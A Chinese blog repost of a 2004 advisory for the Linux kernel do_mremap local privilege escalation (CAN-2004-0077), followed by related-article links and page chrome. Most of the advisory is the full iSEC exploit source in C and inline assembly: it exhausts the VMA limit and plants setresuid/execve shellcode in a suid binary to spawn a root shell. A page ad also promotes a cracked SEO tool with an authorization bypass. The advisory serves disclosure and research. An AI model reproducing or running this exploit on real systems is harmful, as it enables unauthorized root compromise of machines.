Linux Kernel do_mremap VMA本地权限提升漏洞

最新小旋风蜘蛛池X6.21解密版+绕过授权带教程 介绍: 1.站群管理:用你的域名在这里添加网站 2.站点优化:站点互链,内容优化 2.系统设置:开启蜘蛛池 3.采集管理(可开启自动采集) 4.缓存设置:推荐开启tkd缓存 其他的用户根据自己的实际情况后台进行配置,通常以下: 1.后台首页(这里显示系统的大致概况) 2.系统设置:蜘蛛池的基本设置(访问开关、跳转、统计等等) 3.站群管理: 1.网站管理(用你的域名在这里添加网站) 2.模型管理(可构建不同类型站点:电影、文章、论坛等等) 3.TKDB调用模板(即:title、keywords、descri 阅读详情
Linux Kernel do_mremap VMA本地权限提升漏洞

日期:2004-03-05

发布日期:2004-02-18
更新日期:2004-03-03

受影响系统:
Linux kernel 2.6.2
Linux kernel 2.6.1
Linux kernel 2.6
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.24
Linux kernel 2.4.23
Linux kernel 2.4.22
Linux kernel 2.4.21
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
Linux kernel 2.2.9
Linux kernel 2.2.8
Linux kernel 2.2.7
Linux kernel 2.2.6
Linux kernel 2.2.5
Linux kernel 2.2.4
Linux kernel 2.2.3
Linux kernel 2.2.25
Linux kernel 2.2.24
Linux kernel 2.2.23
Linux kernel 2.2.22
Linux kernel 2.2.21
Linux kernel 2.2.20
Linux kernel 2.2.2
Linux kernel 2.2.19
Linux kernel 2.2.18
Linux kernel 2.2.17
Linux kernel 2.2.16
Linux kernel 2.2.15
Linux kernel 2.2.14
Linux kernel 2.2.13
Linux kernel 2.2.12
Linux kernel 2.2.11
Linux kernel 2.2.10
Linux kernel 2.2.1
Linux kernel 2.2
Linux kernel 2.4.18
    - Conectiva Linux 8.0
    - Conectiva Linux 7.0
    - Debian Linux 3.0
    - Mandrake Linux 8.2
    - Mandrake Linux 8.1
    - RedHat Linux 8.0
    - RedHat Linux 7.3
    - Slackware Linux 8.1
    - Slackware Linux 8.0
    - SuSE Linux 8.2
    - SuSE Linux 8.1
不受影响系统:
Linux kernel 2.6.3
Linux kernel 2.4.25
Linux kernel 2.2.26
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CAN-2004-0077

Linux是一款开放源代码操作系统。

Linux内核中mremap(2)系统调用由于没有对函数返回值进行检查,本地攻击者可以利用这个漏洞获得root用户权限。

mremap系统调用被应用程序用来改变映射区段(VMAs)的边界地址。mremap()系统调用提供对已存在虚拟内存区域调整大小。从VMA区域移动部分虚拟内存到新的区域需要建立一个新的VMA描述符,也就是把由VMA描述的下面的页面表条目(page table entries)从老的区域拷贝到进程页表中新的位置。

要完成这个任务do_mremap代码需要调用do_munmap()内部内核函数去清除在新位置中任何已经存在的内存映射,也就是删除旧的虚拟内存映射。不幸的是代码没有对do_munmap()函数的返回值进行检查,如果可用VMA描述符的最大数已经超出,那么函数调用就可能失败。

isec利用这个漏洞通过页表缓冲(page table cache)使包含在页中的恶意指令被执行。详细方法可参看如下地址:

http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

<*来源:Paul Starzetz (paul@starzetz.de)
  
  链接:http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Paul Starzetz (paul@starzetz.de)提供了如下测试方法:

/*
*
*    mremap missing do_munmap return check kernel exploit
*
*    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
*    ./mremap_pte [suid] [[shell]]
*
*    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

//    this is for standard kernels with 3/1 split
#define STARTADDR    0x40000000
#define PGD_SIZE    (PAGE_SIZE * 1024)
#define VICTIM        (STARTADDR + PGD_SIZE)
#define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

#define DSIGNAL        SIGCHLD
#define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE    ( (1UL) << 0 )
#define MREMAP_FIXED    ( (1UL) << 1 )

#define __NR_sys_mremap    __NR_mremap


//    how many ld.so pages? this is the .text section length (like from cat    
//    /proc/self/maps) in pages
#define LINKERPAGES    0x14

//    suid victim
static char *suid="/bin/ping";

//    shell to start
static char *launch="/bin/bash";


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,        
      ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
             unsigned long new_len, unsigned long flags,
             unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;


//    code to appear inside the suid image
static void suid_code(void)
{
__asm__(
    "        call    callme                /n"

//    setresuid(0, 0, 0), setresgid(0, 0, 0)
    "jumpme:    xorl    %ebx, %ebx            /n"
    "        xorl    %ecx, %ecx            /n"
    "        xorl    %edx, %edx            /n"
    "        xorl    %eax, %eax            /n"
    "        mov    $"xstr(__NR_setresuid)", %al    /n"
    "        int    $0x80                /n"
    "        mov    $"xstr(__NR_setresgid)", %al    /n"
    "        int    $0x80                /n"

//    execve(launch)
    "        popl    %ebx                /n"
    "        andl    $0xfffff000, %ebx        /n"
    "        xorl    %eax, %eax            /n"
    "        pushl    %eax                /n"
    "        movl    %esp, %edx            /n"
    "        pushl    %ebx                /n"
    "        movl    %esp, %ecx            /n"
    "        mov    $"xstr(__NR_execve)", %al    /n"
    "        int    $0x80                /n"

//    exit
    "        xorl    %eax, %eax            /n"
    "        mov    $"xstr(__NR_exit)", %al        /n"
    "        int    $0x80                /n"

    "callme:    jmp    jumpme                /n"
    );
}


static int suid_code_end(int v)
{
return v+1;
}


static inline void get_esp(void)
{
__asm__(
    "        movl    %%esp, %%eax            /n"
    "        andl    $0xfffff000, %%eax        /n"
    "        movl    %%eax, %0            /n"
    : : "m"(old_esp)
    );
}


static inline void cloneme(void)
{
__asm__(
    "        pusha                    /n"
    "        movl $("xstr(CLONEFL)"), %%ebx        /n"
    "        movl %%esp, %%ecx            /n"
    "        movl $"xstr(__NR_clone)", %%eax        /n"
    "        int  $0x80                /n"
    "        movl %%eax, %0                /n"
    "        popa                    /n"
    : : "m"(pid)
    );
}


static inline void my_execve(void)
{
__asm__(
    "        movl %1, %%ebx                /n"
    "        movl %2, %%ecx                /n"
    "        movl %3, %%edx                /n"
    "        movl $"xstr(__NR_execve)", %%eax    /n"
    "        int  $0x80                /n"
    : "=a"(ret)
    : "m"(suid), "m"(argv), "m"(env)
    );
}


static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

    memset((void*)addr, 0x90, PAGE_SIZE);
    r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
    ptr = (void*) (addr + PAGE_SIZE);
    ptr -= r+1;
    memcpy(ptr, suid_code, r);
    memcpy((void*)addr, launch, strlen(launch)+1);
}


//    hit VMA limit & populate PTEs
static void exhaust(void)
{
//    mmap PTE donor
    t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
          MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if(MAP_FAILED==t)
        goto failed;

//    prepare shell code pages
    for(i=2; i<LINKERPAGES+1; i++)
        pte_populate(victim + PAGE_SIZE*i);
    i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
    if(i)
        goto failed;

//    lock unmap
    base = MMAP_BASE;
    cnt = 0;
    prot = PROT_READ;
    printf("/n"); fflush(stdout);
    for(;;) {
        t = mmap((void*)base, PAGE_SIZE, prot,
             MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
        if(MAP_FAILED==t) {
            if(ENOMEM==errno)
                break;
            else
                goto failed;
        }
        if( !(cnt%512) || cnt>65520 )
            printf("/r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
            base+PAGE_SIZE); fflush(stdout);
        base += PAGE_SIZE;
        prot ^= PROT_EXEC;
        cnt++;
    }

//    move PTEs & populate page table cache
    ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
             MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
    if(-1==ret)
        goto failed;

    munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
    t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,        
         PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
         0);
    if(MAP_FAILED==t)
        goto failed;

    *t = *((unsigned *)old_esp);
    munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
    printf("/n[+] Success/n/n"); fflush(stdout);
    return;

failed:
    printf("/n[-] Failed/n"); fflush(stdout);
    _exit(0);
}


static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

    uname(&un);
    n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
    if(n!=3 || a!=2) {
        printf("/n[-] invalid kernel version string/n");
        _exit(0);
    }

    if(b==2) {
        if(c<=25)
            v=1;
    }
    else if(b==3) {
        if(c<=99)
            v=1;
    }
    else if(b==4) {
        if(c>18 && c<=24)
            v=1, e=1;
        else if(c>24)
            v=0, e=0;
        else
            v=1, e=0;
    }
    else if(b==5 && c<=75)
        v=1, e=1;
    else if(b==6 && c<=2)
        v=1, e=1;

    printf("/n[+] kernel %s  vulnerable: %s  exploitable %s",
        un.release, v? "YES" : "NO", e? "YES" : "NO" );
    fflush(stdout);

    if(v && e)
        return;
    _exit(0);
}


int main(int ac, char **av)
{
//    prepare
    check_kver();
    memset(env, 0, sizeof(env));
    memset(argv, 0, sizeof(argv));
    if(ac>1) suid=av[1];
    if(ac>2) launch=av[2];
    argv[0] = suid;
    get_esp();

//    mmap & clone & execve
    exhaust();
    cloneme();
    if(!pid) {
        my_execve();
    } else {
        waitpid(pid, 0, 0);
    }

return 0;
}
 
Halcon那些事:Halcon非常核心的1个概念reduce_domain算子的理解和1个详细的使用示例 Reduce是减少的意思。并不是真的去裁剪图像,而是定义一个“感兴趣的区域(Region of Interest, ROI)”。后续的图像处理算子将只在这个定义的区域内有效,区域外的像素将被忽略。在一张白纸(完整图像)上放一张镂空的纸板(Domain)。我们后续的绘画(图像处理操作)只会透过镂空的部分影响到下面的白纸。镂空纸板之外的部分保持不变,也不会被处理。关键步骤:使用ReduceDomain,将图像的域限制为ROI区域,图像在原来图像基础上存在图像区域。 阅读详情

相关推荐

机械臂速成小指南(七):从旋转矩阵到齐次变换——机械臂位姿的数学表达

本文详细介绍了机械臂位姿描述的数学基础,包括旋转矩阵、欧拉角和齐次变换等核心概念。通过解析旋转矩阵的几何意义和合成方法,以及欧拉角的直观描述,帮助读者理解机械臂位姿的数学表达。文章还探讨了齐次变换在工程实践中的应用,并提供了数值稳定性、坐标系约定和计算效率等实用建议。

cuda7parallel的博客 835

一文读懂 Linux mmap 内存映射

mmap(memory map)即内存映射,用于将一个文件或设备映射到进程的地址空间,或者创建匿名的内存映射。请注意,虽然 mmap() 最初是为映射文件而设计的,但它实际上是一个通用映射工具。它可用于将任何适当的对象(例如内存、文件、设备等)映射到进程的地址空间。以文件映射到内存为例,实现这样的映射后,进程虚拟地址空间中一段内存地址将与文件磁盘地址一一对应,进程就可以采用指针的方式读写这段内存,系统会自动回写脏页到对应的磁盘文件。

Doublelv 的博客专栏。 9671

无监督低照度增强实战:用ZeroDCE和SCI拯救你的夜间照片(附PyTorch代码)

本文深入探讨了无监督低照度图像增强技术,重点解析了ZeroDCE和SCI两大代表性模型的核心原理与实战应用。通过对比分析两者的技术路径、网络结构及性能特点,并附上详细的PyTorch代码实现,旨在帮助读者掌握无需配对数据即可有效提升夜间照片画质的深度学习解决方案。

git9versioner的博客 489

mremap()

mremap() 扩大/缩小现有内存映射,flags参数还可以控制??? #define_GNU_SOURCE #include<unistd.h> #include<sys/mman.h> void * mremap(void *old_address, size_t old_size , size_t new_size, int flags.../* void *new_address */); 参数 old_address:旧地址已经被page aligned页对齐 o

weixin_41540614的博客 3609

告别模糊与偏色:使用RKISP Tuner为RK3588s+IMX415进行图像质量调优的实战心得

本文详细介绍了如何使用RKISP Tuner为RK3588s+IMX415进行图像质量调优的实战经验。从调试环境搭建到3A算法优化,再到画质增强模块的深度调参,提供了全面的技术指导和参数建议,帮助工程师解决噪声、色偏和细节模糊等常见问题,显著提升成像质量。

weixin_28729205的博客 452

Silvaco TCAD | 从PIN到APD:高性能光电探测器的仿真设计与优化

本文详细介绍了使用Silvaco TCAD进行光电探测器仿真设计与优化的全过程,从基础的PIN结构到高性能APD的实现。通过实战案例和代码示例,展示了如何优化器件参数、实现雪崩效应以及进行高级仿真分析,帮助工程师提升光电探测器的量子效率和响应速度。

weixin_29218509的博客 426

Linux文件内存映射 mmap、msync、mremap

原链接:Linux文件内存映射 文件内存映射 文件映射的应用场景 进程间共享信息 实现文件数据从磁盘到内存的映射,极大的提升应用程序访问文件的速度 mmap函数 头文件:#include<sys/mman.h> 函数原型: void *mmap(void *addr, size_t length, int port, int flags,int fd, off_t offset); int munmap(void *addr, size_t length); 参数:

陈子青的博客 4988

MFC下使用C++操作Word文档

由于项目需求,在MFC环境下操作将数据和图片写入word文档,之前没有接触过,网上查阅了很多资料,终于把任务完成。理解的不是很透彻,但是这些东西应该够用了,写篇博客记录一下,以便以后再用到。 (1)VS环境下创建一个MFC应用程序,然后在项目上单击右键,选择 类向导-----添加类----类型库中的MFC类。在弹出的对话框中选择文件,位置选择office安装目录下的...

GIS_yuhua的博客 7577

内存管理和内存映射MMAP和DMA详解

介绍Linux内存管理和内存映射的奥秘。同时讲述设备驱动程序是如何使用“直接内存访问”(DMA)的。尽管可能认为DMA更属于硬件处理而不是软件接口,但与硬件控制比起来,它与内存管理更相关。大多数驱动程序并不需要太深入到系统内部。不过理解内存如何工作可以帮助在设计驱动程序时有效地利用系统的能力。

office_lgirl的博客 1922

一文探讨视频秒开:m3u8视频格式与视频秒开优化

秒开指的是,一秒内成功加载的播放数/播放总数。本意是想对比一下m3u8与mp4视频格式,并了解m3u8格式优缺点,以确定一个大概优化方向。但对m3u8做简单了解后,觉的m3u8可能是一个优化方向。

bjxiaxueliang的CODING小栈 2万+

python爬虫:采集求职者简历信息并进行人才分析

通过 Python 爬虫抓取求职者简历信息并进行人才分析,可以帮助企业快速筛选和匹配人才。但在实施过程中,必须严格遵守法律法规,确保数据来源合法合规。如果需要更复杂的分析,可以结合自然语言处理(NLP)和机器学习技术,进一步挖掘数据价值。

数据知道的博客 1万+

Unix/Linux编程:内存映射------mmap()系列函数

概述 mmap()系统调用在调用进程的虚拟地址空间中创建一个新内存映射。映射分为两种: 文件映射: 文件映射将一个文件的一部分直接映射到调用进程的虚拟内存中。 一旦一个文件被映射之后就可以通过在相应的内存区域中操作字节来访问文件内容了(即对文件映射内容的访问则转换为对相应内存区域的字节操作)。映射的分页会在需要的时候自动从文件中加载。这种映射也被称为基于文件的映射或者内存映射文件。 匿名映射(与文件无关): 这种映射没有对应的文件,其映射页面的内容会被初始化为0 可以把匿名映射看成是一个内容总是被

OceanStar的博客 1552

C#上位机+YOLO实战:从环境搭建到实现首个目标检测(零基础入门)

/ YOLOv8的类别名称(共80类,对应COCO数据集)// ONNX推理会话// YOLOv8的输入宽度// YOLOv8的输入高度本文从技术选型、环境搭建到代码实现,详细介绍了如何将C#上位机与YOLOv8结合,实现基础的目标检测功能。整个过程避开了常见的坑点,同时对核心原理和代码逻辑进行了详细解析,希望能帮助零基础的开发者快速入门。实际上,C#上位机+YOLO的组合在工业领域有非常广泛的应用,本文的案例只是一个起点。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 790

嵌入式学习(内存管理)

需要注意的是,使用munmap函数释放的内存区域不能再次访问,否则会导致程序出现不可预知的行为。另外,使用munmap函数释放的内存区域必须是使用mmap函数映射的内存区域,否则导致程序出现错误。mmap函数的使用可以提高文件的访问速度,减少内存的使用,提高程序的性能。另外,munlock函数只能解锁先前由mlock函数锁定的内存区域,如果一个内存区域没有被锁定,调用munlock函数也会失败。函数是一个Linux系统调用,用于重新映射一个已经映射的内存区域,可以用来改变内存区域的大小或位置。

qq_40976784的博客 1219

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

linux msgctl函数,mremap()函数 Unix/Linux

mremap -重新映射的虚拟内存地址内容简介#define _GNU_SOURCE#include #include void * mremap(void *old_address, size_told_size, size_tnew_size, intflags);描述mremap()扩大(或缩小)现有的内存映射,潜在的移动它在同一时间(由flags参数和可用的虚拟地址空间控制)。old_a...

weixin_29599245的博客 485

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

tlpi:内存映射(mmap, mumap,msync,mremap,remap_file_pages)

内存映射 1.简介 mmap()系统调用在调用进程的虚拟地址空间中创建一个新内存映射,映射的类型分为两种 文件映射 文件映射将一个文件的一部分直接映射到进程的虚拟地址空间中,映射之后,就可以通过进程的虚拟地址访问文件内容 匿名映射 匿名映射没有对应的文件,这种映射的分页会被初始化为0 映射之间的共享,根据进程之间映射内容的变更是否可见,可以将映射分为私有的和共享的 私有映射(MAP_PRIVATE) 在映射内容上发生的变更对其他进程不可见,如果是文件映射,那么不会修改底层文件内容。内核采用了

永远的纸条的博客 805

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

2019-10-14 mmap,mremap,munmap,msync

mmap,mremap,munmap,msync详解 文章目录mmap,mremap,munmap,msync详解mmap概述:函数:应用:mremap概述:函数:应用:munmap概述:函数:msync概述:函数: mmap 概述: 一种内存映射文件的方法: mmap将一个文件或者其它对象映射进内存。文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。即映...

Lazy 1798

Linux 进程通讯 - 共享内存机制

详细介绍共享内存机制中用到的函数,且有相关例子!

cpp_learner的博客 1350

深度解析rr中的内存映射变化:mremap与munmap操作跟踪机制

rr(Record and Replay)框架作为Linux系统下的强大调试工具,其核心能力在于精确记录和重现程序执行过程。其中对内存映射操作的高效跟踪——特别是mremap和munmap系统调用——是确保录制重现一致性的关键技术。本文将深入探讨rr如何实现对内存映射变化的精细追踪。 ## 🎯 rr内存映射跟踪的核心机制 rr通过`AddressSpace`类来管理进程的地址空间状态,这个类

gitblog_00234的博客 753

深入Linux内核(内存篇)—用户内存空间之VMA

用户内存空间之VMA一、VMA二、VMA Flag三、VMA Find四、VMA Insert五、VMA Merge 内核管理用户空间的数据结构是struct vm_area_struct,简称VMA。 一、VMA 用户进程拥有用户空间的地址,其可以通过malloc和mmap等函数来申请内存。malloc和mmap等函数的实现都基于进程线性区描述struct vm_area_struct。 内核管理进程地址空间使用的数据结构是struct vm_area_struct,简称VMA。 对于每个进程的内存描述符

liyuewuwunaile的博客 7602

Android NDK——实战演练之从零到零点八真正详解存储映射mmap(一)

引言 或许对于很多Android 程序员来说,谈到I/O就以为只有一种Java 中提供的传统标准文件I/O,殊不知其实内核还提供了另一种在一定程度上更高效的方式——mmap,事实上内核中进程间的通信很多地方都是通过mmap在两个进程间提供共享存储区,当然不仅仅是在内核层面,很多互联网App中也有使用mmap替代传统I/O,比如说微信开源的MMKV框架,它比SharedPreference更高效的原...

最美不过,心中有梦,身旁有你! 2176

Linux内存管理 vma/malloc/mmap

vma;malloc;mmap;进程地址空间中,我们常见的代码段,数据段,bss段等,实际上都是一段地址空间区域。Linux将地址空间中的区域称为, 简称VMA,使用来描述。在进行内存申请和映射时,都会去地址空间中申请一段虚拟地址区域,而这部分操作也与vma关系密切,因此本文将三个放到一块来进行分析。开启探索之旅吧。

生活需要深度 5211

【Linux 内核 内存管理】内存映射相关数据结构 ④ ( vm_area_struct 结构体成员分析 | vm_ops 成员 | vm_operations_struct 结构体成员分析 )

一、vm_area_struct 结构体成员分析、 1、vm_ops 成员、 二、vm_operations_struct 结构体成员分析、 1、open 函数指针、 2、close 函数指针、 3、mremap 函数指针、 4、fault 函数指针、 5、huge_fault 函数指针、 6、map_pages 函数指针、 7、page_mkwrite 函数指针、 三、vm_area_struct 结构体完整源码、 四、vm_operations_struct 结构体完整源码、

让 学习 成为一种 习惯 ( 韩曙亮 の 技术博客 ) 3742

深入解析Linux mremap系统调用:musl libc源码剖析

本文深入解析了musllibc中mremap系统调用的实现源码。mremap是Linux特有的内存管理接口,用于动态调整已映射内存区域大小而不释放原内存。musl的实现展示了极简主义设计:通过PTRDIFF_MAX检查防止溢出,利用weak_alias实现弱符号钩子扩展性,使用va_list处理可选参数。其核心是调用SYS_mremap系统调用,并通过弱别名导出标准函数。文章还对比了glibc实现,提供了使用示例,并指出该接口的Linux专有特性。这种结合安全校验与扩展性的实现方式,体现了musl精巧的设计

2302_80441878的博客 226

C realloc based on Linux mremap [efficiency]

Linux 提供 mremap()系统调用来扩大或者缩小指定映射的大小,这个函数是 Linux 系统 特有的: #define _GNU_SOURCE #include <unistd.h> #include <sys/mman.h> void * mremap (void *addr, size_t old_size, size_t new_size, unsigned long flags); ibc 库使用 mremap()来实现高效的 realloc(),这是一个重新调.

修也 474

linux 内存管理

目录 1Linux内存管理概述 1.1 内存的层次结构 1.2 虚拟内存概述 1.2.1 虚拟内存基本思想 1.2.2 进程虚拟地址空间 1.3 内核空间到物理空间的映射 1.3.1 内核空间的线性映射 1.3.2 内核镜像的物理存储 1.4 虚拟内存实现机制 2进程用户空间管理 2.1 进程用户空间布局 2.2 进程用户空间的内核描述 2.2.1 概述 2.2.2 mm_struct 结构 2.2.3 vm_area_struct 结构 2.2.4 实例:内核态打印虚存..

5754
上一篇: PoC poisoning cache attack SEF 8 and later
下一篇: Do All In One EXE File Under Win32
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值